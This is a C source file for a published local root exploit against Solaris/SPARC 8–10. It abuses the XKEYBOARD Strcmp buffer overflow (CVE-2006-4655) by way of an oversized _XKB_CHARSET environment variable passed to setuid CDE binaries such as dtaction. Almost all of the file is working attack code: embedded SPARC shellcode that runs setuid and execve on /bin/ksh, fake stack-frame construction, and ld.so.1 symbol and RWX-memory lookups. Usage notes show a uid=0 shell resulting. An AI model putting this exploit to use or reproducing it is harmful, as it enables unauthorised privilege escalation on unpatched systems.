raptor_xkb.c

                							

                /*
 * $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $
 *
 * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X 
 * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun 
 * Solaris 8 through 10, allows local users to gain privileges via a long 
 * _XKB_CHARSET environment variable value (CVE-2006-4655).
 *
 * "You certainly do some ninja shit man." -- Kevin Finisterre (0dd)
 *
 * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10 
 * required additional efforts: for some obscure reason traditional return 
 * into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must 
 * be used instead of strcpy() (some new security measures were apparently
 * introduced to prevent exploitation), and the ld.so.1 memory space is a
 * bit changed. In order for this exploit to work, the X Window System server 
 * DISPLAY specified as argument must have the XKEYBOARD extension enabled.
 *
 * Greets to Adriano Lima <adriano@risesecurity.org> and Filipe Balestra
 * <filipe_balestra@hotmail.com>, who discovered this vulnerability, and
 * to Ramon de Carvalho Valle <ramon@risesecurity.org>, who exploited it.
 *
 * Usage:
 * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_xkb 192.168.1.1:0
 * # id
 * uid=0(root) gid=10(staff) egid=3(sys)
 * #
 *
 * Vulnerable platforms:
 * Solaris 8 without patch 119067-03 [tested]
 * Solaris 9 without patch 112785-56 [tested]
 * Solaris 10 without patch 119059-16 [tested]
 */

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define  INFO1  "raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10"
#define  INFO2  "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define  VULN  "/usr/dt/bin/dtaction"    // default setuid target
//#define VULN  "/usr/dt/bin/dtprintinfo"
//#define VULN  "/usr/dt/bin/dtsession"

#define  BUFSIZE 1024        // size of the evil buffer
#define  VARSIZE  2048        // size of the evil env var
#define  FFSIZE  64 + 1        // size of the fake frame
#define  DUMMY  0xdeadbeef      // dummy memory address

/* voodoo macros */
#define  VOODOO32(_,__,___)  {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define  VOODOO64(_,__,___)  {_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() is needed by dtprintinfo and dtsession */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char  *env[256];
int  env_pos = 0, env_len = 0;

/* prototypes */
int  add_env(char *string);
void  check_zero(int addr, char *pattern);
int  search_ldso(char *sym);
int  search_rwx_mem(void);
void  set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
  char  buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
  char  platform[256], release[256], display[256];
  int  i, offset, ff_addr, sc_addr;
  int  plat_len, prog_len, rel;

  char  *arg[2] = {"foo", NULL};
  int  arg_len = 4, arg_pos = 1;

  int  ret, rwx_mem;

  /* get the stack base */
  int  sb = ((int)argv[0] | 0xffff) & 0xfffffffc;

  /* print exploit information */
  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

  /* read command line */
  if (argc != 2) {
    fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
    exit(2);
  }
  sprintf(display, "DISPLAY=%s", argv[1]);

  /* get some system information */
  sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
  sysinfo(SI_RELEASE, release, sizeof(release) - 1);
  rel = atoi(release + 2);

  /* get the address of strcpy() or sprintf() in ld.so.1 */
  ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf"));

  /* get the address of RWX memory segment inside ld.so.1 */
  rwx_mem = search_rwx_mem();

  /* prepare the evil buffer */
  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf) - 1] = 0x0;
  memcpy(buf, "_XKB_CHARSET=", 13);

  /* prepare the evil env var */
  memset(var, 'B', sizeof(var));
  var[sizeof(var) - 1] = 0x0;

  /* prepare the fake frame */
  bzero(ff, sizeof(ff));

  /* 
   * saved %l registers
   */
  set_val(ff, i  = 0, DUMMY);    /* %l0 */
  set_val(ff, i += 4, DUMMY);    /* %l1 */
  set_val(ff, i += 4, DUMMY);    /* %l2 */
  set_val(ff, i += 4, DUMMY);    /* %l3 */
  set_val(ff, i += 4, DUMMY);    /* %l4 */
  set_val(ff, i += 4, DUMMY);    /* %l5 */
  set_val(ff, i += 4, DUMMY);    /* %l6 */
  set_val(ff, i += 4, DUMMY);    /* %l7 */

  /*
   * saved %i registers
   */
  set_val(ff, i += 4, rwx_mem);    /* %i0: 1st arg to function */
  set_val(ff, i += 4, 0x42424242);  /* %i1: 2nd arg to function */
  set_val(ff, i += 4, DUMMY);    /* %i2 */
  set_val(ff, i += 4, DUMMY);    /* %i3 */
  set_val(ff, i += 4, DUMMY);    /* %i4 */
  set_val(ff, i += 4, DUMMY);    /* %i5 */
  set_val(ff, i += 4, sb - 1000);    /* %i6: frame pointer */
  set_val(ff, i += 4, rwx_mem - 8);  /* %i7: return address */

  /* fill the envp, keeping padding */
  sc_addr = add_env(ff);
  add_env(sc);
  add_env(display);
  add_env(buf);
  add_env(var);
  add_env(NULL);

  /* calculate the offset to argv[0] (voodoo magic) */
  plat_len = strlen(platform) + 1;
  prog_len = strlen(VULN) + 1;
  offset = arg_len + env_len + plat_len + prog_len;
  if (rel > 7)
    VOODOO64(offset, arg_pos, env_pos)
  else
    VOODOO32(offset, plat_len, prog_len)

  /* calculate the needed addresses */
  ff_addr = sb - offset + arg_len;
  sc_addr += ff_addr;

  /* set fake frame's %i1 */
  set_val(ff, 36, sc_addr);    /* 2nd arg to function */

  /* fill the evil buffer */
  for (i = 13 + 256; i < 13 + 256 + 56; i += 4) 
    set_val(buf, i, sb - 2048);
  /* we don't need to bruteforce */
  set_val(buf, 13 + 256 + 56, ff_addr);  /* fake frame address */
  set_val(buf, 13 + 256 + 60, ret - 4);  /* function, after the save */

  /* fill the evil env var */
  for (i = 0; i < VARSIZE - 8; i += 4)
    set_val(var, i, sb - 2048);

  /* print some output */
  fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
  fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
  fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
  fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
  fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
  fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret);

  /* run the vulnerable program */
  execve(VULN, arg, env);
  perror("execve");
  exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
  int  i;

  /* null termination */
  if (!string) {
    env[env_pos] = NULL;
    return(env_len);
  }

  /* add the variable to envp */
  env[env_pos] = string;
  env_len += strlen(string) + 1;
  env_pos++;

  /* pad the envp using zeroes */
  if ((strlen(string) + 1) % 4)
    for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
      env[env_pos] = string + strlen(string);
      env_len++;
    }

  return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
  if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
      !(addr & 0xff000000)) {
    fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
    exit(1);
  }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
  int    addr;
  void    *handle;
  Link_map  *lm;

  /* open the executable object file */
  if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    perror("dlopen");
    exit(1);
  }

  /* get dynamic load information */
  if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    perror("dlinfo");
    exit(1);
  }

  /* search for the address of the symbol */
  if ((addr = (int)dlsym(handle, sym)) == NULL) {
    fprintf(stderr, "sorry, function %s() not found\n", sym);
    exit(1);
  }

  /* close the executable object file */
  dlclose(handle);

  check_zero(addr - 4, sym);
  check_zero(addr - 8, sym); /* addr - 8 is the ret before function */
  return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
  int  fd;
  char  tmp[16];
  prmap_t  map;
  int  addr = 0;

  /* open the proc filesystem */
  sprintf(tmp,"/proc/%d/map", (int)getpid());
  if ((fd = open(tmp, O_RDONLY)) < 0) {
    fprintf(stderr, "can't open %s\n", tmp);
    exit(1);
  }

  /* search for the last RWX memory segment before stack */
  while (read(fd, &map, sizeof(map)))
    if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))
      addr = map.pr_vaddr;
  close(fd);

  /* add 4 to the exact address NULL bytes */
  if (!(addr & 0xff))
    addr |= 0x04;
  if (!(addr & 0xff00))
    addr |= 0x0400;

  return(addr);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
  buf[pos] =  (val & 0xff000000) >> 24;
  buf[pos + 1] =  (val & 0x00ff0000) >> 16;
  buf[pos + 2] =  (val & 0x0000ff00) >> 8;
  buf[pos + 3] =  (val & 0x000000ff);
}


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